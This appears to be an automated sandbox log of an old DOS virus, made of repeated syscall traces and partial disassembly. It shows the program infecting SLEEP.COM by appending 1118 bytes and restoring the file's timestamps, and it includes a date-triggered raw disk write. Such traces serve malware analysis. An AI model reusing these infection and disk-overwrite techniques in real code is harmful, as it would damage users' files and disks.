2018-12-25T12:39:35.904810189Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:35.91511685Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:35.917502412Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:35.91902148Z 62 PC: 12d0b | Close file
2018-12-25T12:39:35.942025072Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:35.953989364Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:35.957167093Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:35.968509406Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:35.975850676Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:35.978449071Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:35.989511555Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:35.991779178Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:35.999127766Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:36.002111332Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:36.006558442Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:36.009541549Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:36.011160775Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:36.014391383Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:36.024849694Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:36.027448083Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:36.030284815Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:36.040280801Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:36.051490926Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:36.055989464Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:36.064098931Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:36.07173741Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:36.075805444Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:36.087516555Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:36.089931221Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:36.098137636Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:36.102066883Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:36.105273719Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:36.108668909Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:36.111437281Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:36.114432527Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:36.124440104Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:36.127625369Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:36.129706473Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:36.14049012Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:36.153169576Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:36.155661826Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:36.160263516Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:37.132208658Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:37.134884248Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:37.13865276Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:37.143021912Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:37.144201947Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:37.151866067Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:37.159335516Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:37.166341159Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:37.169684453Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:37.193554832Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:37.197937023Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:37.206030476Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:37.210745792Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:37.212770542Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:37.216193195Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:37.218679991Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.221497658Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:37.230878295Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.234231089Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:37.235807598Z 62 PC: 12d0b | Close file
2018-12-25T12:39:37.244260478Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:37.260147071Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:37.263182782Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:37.270176165Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:37.277806294Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:37.280244764Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:37.290994505Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:37.293439852Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:37.300610217Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:37.303566364Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:37.307159573Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:37.310659283Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:37.313180068Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.316537083Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:37.326794538Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.329303681Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:37.330996912Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:37.339951491Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:37.35083188Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:37.353896581Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:37.36225698Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:37.369646227Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:37.372112495Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:37.384359201Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:37.386357901Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:37.394389774Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:37.398014814Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:37.399870191Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:37.401638721Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:37.402821276Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.404765359Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:37.410478512Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.412057135Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:37.413312904Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:37.418522757Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:37.429259833Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:37.4319161Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:37.436208517Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:37.460341106Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:37.463615127Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:37.466455561Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:37.470376388Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:37.471999798Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:37.484013938Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:37.491217099Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:37.498464182Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:37.500687002Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:37.517919054Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:37.520297207Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:37.527135889Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:37.530037861Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:37.532997674Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:37.536043539Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:37.537629732Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.539919513Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:37.550146158Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.552471781Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:37.554113458Z 62 PC: 12d0b | Close file
2018-12-25T12:39:37.562738609Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:37.572337428Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:37.574835862Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:37.582432648Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:37.592814671Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:37.595270169Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:37.608159468Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:37.609937913Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:37.616573458Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:37.620075943Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:37.62293628Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:37.625493927Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:37.62714145Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.63093386Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:37.640040986Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.642676895Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:37.645211907Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:37.653078903Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:37.663094201Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:37.666547973Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:37.673108991Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:37.679574222Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:37.682424057Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:37.691990091Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:37.693463314Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:37.70118223Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:37.703807417Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:37.706257304Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:37.709404011Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:37.710724638Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.712726419Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:37.721263289Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.724117195Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:37.725586716Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:37.733104927Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:37.743748878Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:37.746059077Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:37.750134911Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:37.536086068Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:37.5387085Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:37.542107044Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:37.546516799Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:37.547649234Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:37.568521312Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:37.575552518Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:37.582513494Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:37.585388033Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:37.602666575Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:37.603967978Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:37.60907514Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:37.61370152Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:37.616395528Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:37.619448011Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:37.620965657Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.623460277Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:37.633227473Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.638338489Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:37.639741853Z 62 PC: 12d0b | Close file
2018-12-25T12:39:37.648590966Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:37.660741265Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:37.66355628Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:37.67098288Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:37.680088764Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:37.68257069Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:37.693984723Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:37.696402825Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:37.703948044Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:37.707094107Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:37.710672122Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:37.713682563Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:37.715815526Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.71942439Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:37.729718425Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.732168615Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:37.734244159Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:37.743490908Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:37.754682134Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:37.758737376Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:37.763547608Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:37.770624901Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:37.772791471Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:37.783927562Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:37.785765763Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:37.792926209Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:37.796274225Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:37.798975278Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:37.802547903Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:37.807863747Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.810307868Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:37.819704472Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:37.823088646Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:37.825257835Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:37.83404631Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:37.845588181Z 42 PC: 12b6c | Get date 0x12b6c: cmp dx, 0x606
0x12b70: je 0x12b75
0x12b72: jmp 0x12d8c
0x12b75: jmp 0x12d21
0x12b78: and ah, bh
0x12b7a: movsw word ptr es:[di], word ptr [si]
0x12b7b: mov ax, 0x5c4c
0x12b7e: add word ptr [di], ax
0x12b80: add byte ptr [di - 0x75], dl
0x12b83: in al, dx
0x12b84: sub sp, 0x2c
0x12b87: push si
0x12b88: jmp 0x12bf9
0x12b8a: mov ah, 0x1a
0x12b8c: lea dx, word ptr [bp - 0x2c]
0x12b8f: int 0x21
0x12b91: mov ah, 0x4e
0x12b93: mov cx, 0x10
0x12b96: mov dx, 0x1b5
0x12b99: add dx, word ptr [0x106]
2018-12-25T12:39:37.847950606Z 59 PC: 12d97 | Change current directory
2018-12-25T12:39:37.852344895Z 59 PC: 12d9e | Change current directory

{"DateBased":true,"Day":1,"Month":1,"Year":1980,"Hour":0,"Min":0,"Second":1,"TimeBased":true,"OriginalID":13945,"SideJobID":0}

.

GIF

Syscalls:

Time Syscall Op Syscall Name
2018-12-25T12:39:38.710808466Z 42 PC: 12a5a | Get date 0x12a5a: cmp dl, 2
0x12a5d: je 0x12a61
0x12a5f: jmp 0x12a7e
0x12a61: cli
0x12a62: mov ah, 2
0x12a64: cdq
0x12a65: mov cx, 0x100
0x12a68: int 0x26
0x12a6a: jmp 0x12a6c
0x12a6c: cli
0x12a6d: mov al, 3
0x12a6f: mov cx, 0x2bc
0x12a72: mov dx, 0
0x12a75: mov ds, word ptr [di + 0x63]
0x12a78: mov bx, word ptr [di + 0x37]
0x12a7b: call 0x22a61
0x12a7e: ret
0x12a7f: lodsb al, byte ptr [si]
0x12a80: xor al, ah
0x12a82: stosb byte ptr es:[di], al
2018-12-25T12:39:38.71385429Z 71 PC: 12b46 | Get current directory
2018-12-25T12:39:38.717127222Z 59 PC: 12b51 | Change current directory
2018-12-25T12:39:38.721230018Z 26 PC: 12c04 | Set disk transfer address
2018-12-25T12:39:38.731827199Z 78 PC: 12c12 | Find first file
2018-12-25T12:39:38.740366467Z 61 PC: 12c3d | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:38.746939913Z 63 PC: 12c4f | Read file or device (Read 8 bytes on handle 5)
2018-12-25T12:39:38.753744735Z 44 PC: 12c88 | Get time 0x12c88: add dl, dh
0x12c8a: je 0x12c84
0x12c8c: mov si, 0x115
0x12c8f: add si, word ptr [0x106]
0x12c93: mov byte ptr [si], dl
0x12c95: mov ax, 0x4301
0x12c98: xor cx, cx
0x12c9a: mov dx, si
0x12c9c: add dx, 0xc7
0x12ca0: int 0x21
0x12ca2: mov ah, 0x3e
0x12ca4: int 0x21
0x12ca6: mov ax, 0x3d02
0x12ca9: int 0x21
0x12cab: jb 0x12c5e
0x12cad: mov di, dx
0x12caf: add di, 0x63
0x12cb2: stosw word ptr es:[di], ax
0x12cb3: xchg ax, bx
0x12cb4: mov ah, 0x40
2018-12-25T12:39:38.756485359Z 67 PC: 12ca2 | Get or set file attributes
2018-12-25T12:39:39.08109746Z 62 PC: 12ca6 | Close file
2018-12-25T12:39:39.083197338Z 61 PC: 12cab | Open file (Filename = 'SLEEP.COM')
2018-12-25T12:39:39.090658432Z 64 PC: 12cbe | Write file or device (Write 4 bytes on handle 5)
2018-12-25T12:39:39.093694589Z 64 PC: 12cd0 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:39.10158071Z 64 PC: 12ce5 | Write file or device (Write 2 bytes on handle 5)
2018-12-25T12:39:39.104751579Z 66 PC: 12cee | Move file pointer
2018-12-25T12:39:39.108641907Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:39.110798834Z 64 PC: 12a95 | Write file or device (Write 1118 bytes on handle 5)
2018-12-25T12:39:39.11987336Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:39.122337629Z 87 PC: 12d07 | Get or set file date and time
2018-12-25T12:39:39.124046988Z 62 PC: 12d0b | Close file
2018-12-25T12:39:39.132229297Z 67 PC: 12d1c | Get or set file attributes
2018-12-25T12:39:39.143843964Z 79 PC: 12c25 | Find next file
2018-12-25T12:39:39.146646853Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:39.154369022Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:39.160661371Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:39.16270978Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:39.173311464Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:39.182633029Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:39.189318531Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:39.192439213Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:39.19609375Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:39.198643851Z 66 PC: 12cee | Move file pointer (See above)
2018-12-25T12:39:39.205670095Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:39.208046765Z 64 PC: 12a95 | Write file or device (See above)
2018-12-25T12:39:39.22175668Z 42 PC: 12a5a | Get date (See above)
2018-12-25T12:39:39.223971724Z 87 PC: 12d07 | Get or set file date and time (See above)
2018-12-25T12:39:39.239657766Z 62 PC: 12d0b | Close file (See above)
2018-12-25T12:39:39.247441472Z 67 PC: 12d1c | Get or set file attributes (See above)
2018-12-25T12:39:39.257234737Z 79 PC: 12c25 | Find next file (See above)
2018-12-25T12:39:39.260553236Z 61 PC: 12c3d | Open file (See above)
2018-12-25T12:39:39.267826983Z 63 PC: 12c4f | Read file or device (See above)
2018-12-25T12:39:39.274348012Z 44 PC: 12c88 | Get time (See above)
2018-12-25T12:39:39.277634199Z 67 PC: 12ca2 | Get or set file attributes (See above)
2018-12-25T12:39:39.287526677Z 62 PC: 12ca6 | Close file (See above)
2018-12-25T12:39:39.28988839Z 61 PC: 12cab | Open file (See above)
2018-12-25T12:39:39.297513046Z 64 PC: 12cbe | Write file or device (See above)
2018-12-25T12:39:39.300458053Z 64 PC: 12cd0 | Write file or device (See above)
2018-12-25T12:39:39.3032362Z 64 PC: 12ce5 | Write file or device (See above)
2018-12-25T12:39:39.306755551Z 66 PC: 12cee | Move file pointer (See above)
